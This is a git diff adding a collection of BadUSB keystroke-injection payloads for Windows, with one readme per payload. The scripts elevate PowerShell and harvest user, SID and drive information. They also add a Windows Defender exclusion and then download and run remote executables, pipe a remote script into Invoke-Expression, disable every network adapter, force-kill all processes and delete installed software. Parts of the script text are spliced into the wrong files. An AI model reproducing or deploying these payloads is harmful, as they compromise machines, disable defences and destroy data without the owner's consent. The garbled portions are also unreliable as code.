lines=1 +ENTER +ALT SPACE +DELAY 750 +STRING m +DELAY 1000 +DOWNARROW +REPEAT 100 +ENTER +STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false +ENTER +DELAY 750 +STRING powershell.exe -windowstyle hidden -File C:\Windows\config-98437.ps1 +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/SAMexfil/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/SAMexfil/readme.md new file mode 100644 index 0000000..5f810fb --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/SAMexfil/readme.md @@ -0,0 +1,39 @@ + +# SAMexfil +This script extracts the Security Account Manager (SAM) of the PC and saves it to a file. + +## How to use? + +This script is not plug and play. You need to do the following changes: + +- change path for the file "-DestinationPath PATH\results-61748762.zip" + + +## Features + +- open powershell +- copy SAM profile +- store it to a file + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/USB_And_Harddrive_Information/USB_And_Harddrive_Information.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/USB_And_Harddrive_Information/USB_And_Harddrive_Information.txt new file mode 100644 index 0000000..4841e9b --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/USB_And_Harddrive_Information/USB_And_Harddrive_Information.txt @@ -0,0 +1,39 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Saves some general Information about the USB and Harddrives that are/were connected to the target pc and stores them into a file. +REM Version: 1.0 +REM Category: Exfiltration +DELAY 750 +WINDOWS d +DELAY 900 +WINDOWS r +DELAY 900 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 750 +LEFTARROW +ENTER +DELAY 900 +ALT y +DELAY 900 +GUI UP +DELAY 900 +STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType Directory;$date = get-date;$style = '';$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-68597243.html';$Report = $Report + 'Walkuer Ghost Report
Generated on: $Date
';$u = 0;$allUsb = @(get-wmiobject win32_volume | select Name, Label, FreeSpace);$Report = $Report + '' +ENTER +STRING $Report >> $fileSaveDir'/ComputerInfo-68597243.html' +ENTER +STRING Compress-Archive -Path $fileSaveDir -DestinationPath PATH TO SAVE FILE HERE\HEREresults-68597243.zip ; exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/USB_And_Harddrive_Information/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/USB_And_Harddrive_Information/readme.md new file mode 100644 index 0000000..269abd1 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/USB_And_Harddrive_Information/readme.md @@ -0,0 +1,38 @@ + +# USB_And_Harddrive_Information +Saves some general Information about the USB and Harddrives that are/were connected to the target pc and stores them into a file. + +## How to use? + +This script is not plug and play. You need to do the following changes: + +- change the path of the file "-DestinationPath PATH TO SAVE FILE HERE\HEREresults-68597243.zip" + + +## Features + +- open powershell +- get hardware info +- save infos to a file + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Win_User_Info/Win_User_Info.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Win_User_Info/Win_User_Info.txt new file mode 100644 index 0000000..036c57c --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Win_User_Info/Win_User_Info.txt @@ -0,0 +1,21 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Saves some general Info about the current Win-User. +REM Version: 1.0 +REM Category: Exfiltration +DELAY 750 +WINDOWS d +DELAY 900 +WINDOWS r +DELAY 900 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 750 +LEFTARROW +ENTER +DELAY 900 +ALT y +DELAY 900 +STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType Directory;$date = get-date;$style = "";$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-57059022.html';$Report = $Report + "USB Devices
' +ENTER +STRING do { +ENTER +STRING $gbUSB = [math]::truncate($allUsb[$u].FreeSpace / 1GB) +ENTER +STRING $Report = $Report + '
' +ENTER +STRING Write-Output $fullUSB +ENTER +STRING $u ++ +ENTER +STRING } while ($u -lt $allUsb.Count) +ENTER +STRING $Report = $Report + ' Drive Name: ' + $allUsb[$u].Name + $allUsb[$u].Label + ' Free Space: ' + $gbUSB + 'GB Walkuer Ghost Report
Generated on: $Date
";$UserInfo = Get-WmiObject -class Win32_UserAccount -namespace root/CIMV2 | Where-Object {$_.Name -eq $env:UserName}| Select AccountType,SID,PasswordRequired;$UserType = $UserInfo.AccountType;$UserSid = $UserInfo.SID;$UserPass = $UserInfo.PasswordRequired;$IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator');$Report = $Report + "";$Report >> $fileSaveDir'/ComputerInfo-57059022.html' +ENTER +STRING Compress-Archive -Path $fileSaveDir -DestinationPath C:\PATH TO SAVE HERE\FILEresults-57059022.zip ; exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Win_User_Info/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Win_User_Info/readme.md new file mode 100644 index 0000000..b0cc64d --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Win_User_Info/readme.md @@ -0,0 +1,38 @@ + +# Win_User_Info +Saves some general Info about the current Win-User and stores it to a file. + +## How to use? + +This script is not plug and play. You need to do the following changes: + +- change the path of the file "C:\PATH TO SAVE HERE\FILEresults-57059022.zip" + + +## Features + +- open powershell +- get win user info +- save info to a file + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/JustAmongUs/JustAmongUs.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/JustAmongUs/JustAmongUs.txt new file mode 100644 index 0000000..15d85ac --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/JustAmongUs/JustAmongUs.txt @@ -0,0 +1,19 @@ +REM Author: AGO061 +REM Description: AmongUs takes over the PC!!! +REM Version: 1.0 +REM Category: FUN +DELAY 500 +GUI r +DELAY 500 +STRING powershell Start-Process powershell -Verb runAs +CTRL-SHIFT ENTER +DELAY 1500 +SHIFT TAB +DELAY 500 +ENTER +DELAY 1500 +STRING Add-MpPreference -ExclusionPath C:\Windows\system32 +ENTER +DELAY 500 +STRING $down=New-Object System.Net.WebClient;$url='https://github.com/AGO061/badusb-payloads/releases/download/SUS-R1/sus.exe';$file='sus.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/JustAmongUs/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/JustAmongUs/readme.md new file mode 100644 index 0000000..73ebb29 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/JustAmongUs/readme.md @@ -0,0 +1,35 @@ + +# JustAmongUs +Please be really careful with this. I will not be responsible for any damage. This script can/will damage your OS. + +## How to use? + +This script is plug and play. + + +## Features + +- download sus.exe +- run sus.exe + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/RickRoll_IntoBSOD/RickRoll_IntoBSOD.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/RickRoll_IntoBSOD/RickRoll_IntoBSOD.txt new file mode 100644 index 0000000..c4c87c1 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/RickRoll_IntoBSOD/RickRoll_IntoBSOD.txt @@ -0,0 +1,22 @@ +REM Title: Rick-Roll BSOD +REM Author: FalsePhilosopher + AGO061 +REM Target: Win 10+, exe is Windows 7 and up 32/64 bit +REM Props: Hak5, bemxio for creating mario-head https://github.com/bemxio/mario-head, 3ctOs for the PS bits I used https://github.com/3ct0s/badusb-download-execute-disable-windows-defender and memes, AGO061 for making the rickroll version +REM Version: 1.0 +REM Category: Prank +REM Display a video of a rick rolll, the video glitches and explodes and invokes a BSOD. +DELAY 400 +GUI r +DELAY 500 +STRING powershell Start-Process powershell -Verb runAs +CTRL-SHIFT ENTER +DELAY 850 +SHIFT TAB +DELAY 500 +ENTER +DELAY 1000 +STRING Add-MpPreference -ExclusionPath C:\Windows\system32 +ENTER +DELAY 500 +STRING $down=New-Object System.Net.WebClient;$url='https://github.com/AGO061/rickroll-bsod/releases/download/first-version/rick_dist.exe';$file='rick_dist.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/RickRoll_IntoBSOD/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/RickRoll_IntoBSOD/readme.md new file mode 100644 index 0000000..d8968cb --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/RickRoll_IntoBSOD/readme.md @@ -0,0 +1,35 @@ + +# RickRoll_IntoBSOD +Please be really careful with this. I will not be responsible for any damage. This script can/will damage your OS. + +## How to use? + +This script is plug and play. + + +## Features + +- download rick_dist.exe +- run rick_dist.exe + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Cartman/Cartman.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Cartman/Cartman.txt new file mode 100644 index 0000000..af5732a --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Cartman/Cartman.txt @@ -0,0 +1,9 @@ +REM ---------CARTMAN SPAM---------- +REM -- by Mr-Savag3 --- 09162022 -- +REM -- updated to 1 line by ------- +REM ---------------- I Am Jakoby -- +DELAY 500 +GUI r +DELAY 600 +STRING powershell -w h $k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i=0;$i -lt $k;$i++){$o.SendKeys([char] 175)}; 1..10|foreach {saps https://www.youtube.com/watch?v=U3sAkAWfxLY;sleep 1;$o.SendKeys('f')} +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Cartman/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Cartman/readme.md new file mode 100644 index 0000000..5362166 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Cartman/readme.md @@ -0,0 +1,35 @@ + +# Cartman +Opens a weird cartman clip on youtube and turns the volume up to 100%. + +## How to use? + +This script is plug and play. + + +## Features + +- open youtube video +- turn volume up + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Change_Zoom/change_dpi150.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Change_Zoom/change_dpi150.txt new file mode 100644 index 0000000..bf30a6a --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Change_Zoom/change_dpi150.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D +REM Description: Uses the monitor DPI to change the zoom to 150%. +REM Version: 1.0 +REM Category: FUN +DELAY 800 +GUI r +DELAY 800 +STRING powershell Start-Process powershell -Verb runAs +DELAY 800 +ENTER +DELAY 800 +LEFTARROW +DELAY 800 +ENTER +DELAY 500 +STRING Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/UNC0V3R3D/resources/main/dpi_code.ps1").Content +DELAY 200 +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Change_Zoom/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Change_Zoom/readme.md new file mode 100644 index 0000000..bb8fd60 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Change_Zoom/readme.md @@ -0,0 +1,31 @@ +# Change_Zoom +Uses the monitor DPI to change the zoom to 150%. + +## How to use? + +This script is plug and play. + + +## Features + +- open powershell +- change monitor dpi + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/ComputerTalks/ComputerTalks.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/ComputerTalks/ComputerTalks.txt new file mode 100644 index 0000000..bacac7a --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/ComputerTalks/ComputerTalks.txt @@ -0,0 +1,12 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Makes the computer speak +REM Version: 1.0 +REM Category: FUN +DELAY 750 +WINDOWS d +DELAY 950 +WINDOWS r +DELAY 650 +STRING powershell.exe -nop -win hidden -c "Add-Type -AssemblyName System.speech; $synth = New-Object System.Speech.Synthesis.SpeechSynthesizer; $synth.Speak('Hello you behind the Screen, I am inside your PC.')" +DELAY 100 +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/ComputerTalks/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/ComputerTalks/readme.md new file mode 100644 index 0000000..4bd73df --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/ComputerTalks/readme.md @@ -0,0 +1,37 @@ + +# ComputerTalks +Makes the computer speak. + +## How to use? + +This script is not plug and play. You need to do the following changes: + +- change the text if you WANT to "$synth.Speak('Hello you behind the Screen, I am inside your PC.')"" + + +## Features + +- open powershell +- use system.speech to talk + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Deactivate_Networkadapters/deactivate_networkadapters.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Deactivate_Networkadapters/deactivate_networkadapters.txt new file mode 100644 index 0000000..076eeab --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Deactivate_Networkadapters/deactivate_networkadapters.txt @@ -0,0 +1,20 @@ +REM Author: UNC0V3R3D +REM Description: Uses the device manager to deactivate all networkadapters. +REM Version: 1.0 +REM Category: FUN +DELAY 800 +GUI r +DELAY 800 +STRING powershell Start-Process powershell -Verb runAs +DELAY 800 +ENTER +DELAY 800 +LEFTARROW +DELAY 800 +ENTER +DELAY 500 +STRING Get-NetAdapter | ForEach-Object { Disable-NetAdapter -Name $_.Name -Confirm:$false } +ENTER +DELAY 1000 +STRING exit +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Deactivate_Networkadapters/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Deactivate_Networkadapters/readme.md new file mode 100644 index 0000000..5998785 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Deactivate_Networkadapters/readme.md @@ -0,0 +1,32 @@ +# Deactivate_Networkadapters +Uses the device manager to deactivate all networkadapters. + +## How to use? + +This script is plug and play. + + +## Features + +- open device manager (powershell) +- deactivate adapters + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Delete_Discord/delete_discord.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Delete_Discord/delete_discord.txt new file mode 100644 index 0000000..76a788b --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Delete_Discord/delete_discord.txt @@ -0,0 +1,20 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Deletes discord if it exists on the target pc. +REM Version: 1.0 +REM Category: Fun +DELAY 500 +GUI r +DELAY 300 +REM Start PowerShell as Admin +STRING powershell Start-Process powershell -Verb runAs +DELAY 300 +ENTER +DELAY 500 +LEFTARROW +DELAY 450 +ENTER +DELAY 600 +REM delete discord +STRING if (Test-Path "C:\Program Files (x86)\Discord") { Remove-Item -Recurse -Force "C:\Program Files (x86)\Discord"; Write-Output "Deleted Discord from $discordPath" } else { Write-Output "Discord is not installed on this computer." }; exit +DELAY 200 +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Delete_Discord/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Delete_Discord/readme.md new file mode 100644 index 0000000..7d72928 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Delete_Discord/readme.md @@ -0,0 +1,36 @@ + +# Delete_discord +Checks if discord is installed on the target, if it is installed it will delete discord. + +## How to use? + +This script is plug and play. + + +## Features + +- open powershell +- check if discord is installed +- delete discord if exists + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Destroy_Pc_with_tabs/Destroy_Pc_with_tabs.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Destroy_Pc_with_tabs/Destroy_Pc_with_tabs.txt new file mode 100644 index 0000000..2b278e9 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Destroy_Pc_with_tabs/Destroy_Pc_with_tabs.txt @@ -0,0 +1,37 @@ +REM Author: overwraith +REM Description: Opens a few Tabs... +REM Version: 1.0 +REM Category: FUN +DELAY 1200 +GUI r +DELAY 400 +STRING cmd /Q /D /T:0a /F:OFF /V:OFF /K +DELAY 500 +ENTER +DELAY 750 +STRING DEL /Q MobileTabs.vbs +ENTER +STRING copy con MobileTabs.vbs +ENTER +STRING on error resume next +ENTER +STRING navOpenInBackgroundTab = &h1000 +ENTER +STRING set oIE = CreateObject("InternetExplorer.Application") +ENTER +STRING Set args = WScript.Arguments +ENTER +STRING oIE.Navigate2 args.Item(0) +ENTER +STRING for intx = 1 to args.count +ENTER +STRING oIE.Navigate2 args.Item(intx), navOpenInBackgroundTab +ENTER +STRING next +ENTER +STRING oIE.Visible = true +ENTER +CONTROL z +ENTER +STRING MobileTabs.vbs "http://www.google.com/" "http://mwomercs.com/" "http://hak5.org/" "http://forums.hak5.org/index.php?/forum/56-usb-rubber-ducky/" +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Destroy_Pc_with_tabs/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Destroy_Pc_with_tabs/readme.md new file mode 100644 index 0000000..cd91144 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Destroy_Pc_with_tabs/readme.md @@ -0,0 +1,35 @@ + +# Destroy_Pc_with_tabs +Opens a few tabs... maybe too many. + +## How to use? + +This script is plug and play. + + +## Features + +- open powershell +- use system.speech to talk + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/End_Processes/end_processes.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/End_Processes/end_processes.txt new file mode 100644 index 0000000..e7ecbf4 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/End_Processes/end_processes.txt @@ -0,0 +1,17 @@ +REM Author: UNC0V3R3D +REM Description: Uses the taskmanager and tries to end all processes +REM Version: 1.0 +REM Category: FUN +DELAY 800 +GUI r +DELAY 800 +STRING powershell Start-Process powershell -Verb runAs +DELAY 800 +ENTER +DELAY 800 +LEFTARROW +DELAY 800 +ENTER +DELAY 500 +STRING Start-Process taskmgr.exe -WindowStyle Hidden; Get-Process | Where-Object { $_.Name -ne "taskmgr" } | Stop-Process -Force +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/End_Processes/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/End_Processes/readme.md new file mode 100644 index 0000000..5b7e598 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/End_Processes/readme.md @@ -0,0 +1,32 @@ +# End_Processes +Uses the taskmanager and tries to end all processes + +## How to use? + +This script is plug and play. + + +## Features + +- open taskmanager +- end all processes + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeBluescreen/FakeBluescreen.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeBluescreen/FakeBluescreen.txt new file mode 100644 index 0000000..80ab143 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeBluescreen/FakeBluescreen.txt @@ -0,0 +1,14 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Opens a Website with an fake Bluescreen and setting it to fullscreen +REM Version: 1.0 +REM Category: FUN +DELAY 500 +GUI r +DELAY 400 +STRING cmd +ENTER +DELAY 500 +STRING rundll32 url.dll,FileProtocolHandler https://fakeupdate.net/win10ue/bsod.html +ENTER +DELAY 1000 +F11 diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeBluescreen/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeBluescreen/readme.md new file mode 100644 index 0000000..f48655b --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeBluescreen/readme.md @@ -0,0 +1,35 @@ + +# FakeBluescreen +Opens a website that has a fake BSOD and maximizes the window. + +## How to use? + +This script is plug and play. + + +## Features + +- open website +- maximize window + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeUpdateWindows/FakeUpdateWindows.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeUpdateWindows/FakeUpdateWindows.txt new file mode 100644 index 0000000..826baae --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeUpdateWindows/FakeUpdateWindows.txt @@ -0,0 +1,14 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Opens a Website with an fake Update and setting it to fullscreen +REM Version: 1.0 +REM Category: FUN +DELAY 500 +GUI r +DELAY 400 +STRING cmd +ENTER +DELAY 500 +STRING rundll32 url.dll,FileProtocolHandler https://fakeupdate.net/win10ue/ +ENTER +DELAY 1000 +F11 diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeUpdateWindows/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeUpdateWindows/readme.md new file mode 100644 index 0000000..30bcf37 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeUpdateWindows/readme.md @@ -0,0 +1,35 @@ + +# FakeUpdateWindows +Opens a website that has a fake windows update and maximizes the window. + +## How to use? + +This script is plug and play. + + +## Features + +- open website +- maximize window + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeVirus/FakeVirus.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeVirus/FakeVirus.txt new file mode 100644 index 0000000..62a9eea --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeVirus/FakeVirus.txt @@ -0,0 +1,14 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Opens a Website with an fake Virus and setting it to fullscreen +REM Version: 1.0 +REM Category: FUN +DELAY 500 +GUI r +DELAY 400 +STRING cmd +ENTER +DELAY 500 +STRING rundll32 url.dll,FileProtocolHandler https://fakeupdate.net/wnc/ +ENTER +DELAY 1000 +F11 diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeVirus/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeVirus/readme.md new file mode 100644 index 0000000..51eda9d --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/FakeVirus/readme.md @@ -0,0 +1,35 @@ + +# FakeVirus +Opens a Website with an fake Virus and setting it to fullscreen. + +## How to use? + +This script is plug and play. + + +## Features + +- open website +- maximize window + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Matrix_Rain_CMD/Matrix_Rain_CMD.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Matrix_Rain_CMD/Matrix_Rain_CMD.txt new file mode 100644 index 0000000..7a5312e --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Matrix_Rain_CMD/Matrix_Rain_CMD.txt @@ -0,0 +1,51 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: There'll be the matrix rain in the cmd +REM Version: 1.0 +REM Category: FUN +DELAY 1000 +GUI r +DELAY 100 +STRING notepad +ENTER +DELAY 100 +STRING @echo off +ENTER +ENTER +DELAY 100 +STRING color 02 +ENTER +ENTER +DELAY 100 +STRING mode 1000 +ENTER +ENTER +DELAY 100 +STRING :matrixbynima +ENTER +ENTER +DELAY 100 +STRING echo 